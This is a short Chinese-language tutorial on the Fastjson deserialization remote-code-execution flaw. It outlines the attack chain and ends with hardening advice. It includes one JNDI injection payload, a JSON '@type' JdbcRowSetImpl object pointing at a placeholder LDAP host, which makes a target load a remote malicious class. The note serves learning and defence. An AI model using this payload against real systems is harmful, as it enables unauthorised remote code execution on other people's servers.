Fastjson 反序列化 RCE 复现:AutoType 关闭绕过、JNDI 注入、RCE 利用、防御加固。
写在前面:合法学习边界
Fastjson 攻击只在授权测试环境进行。
一、Fastjson 攻击链

1
| ① 发现 Fastjson → ② AutoType 状态 → ③ JNDI 注入 → ④ 加载恶意类 → ⑤ RCE
|
二、利用方式
1
| {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx/a","autoCommit":true}
|
三、防御加固
1
2
| 升级到 Fastjson 1.2.68+ · 禁用 AutoType
设置 SecurityManager · WAF 拦截 @type
|
四、小结
Fastjson 反序列化是 Java 反序列化最经典的 RCE 漏洞。升级到 1.2.68+ 并禁用 AutoType 是核心防御。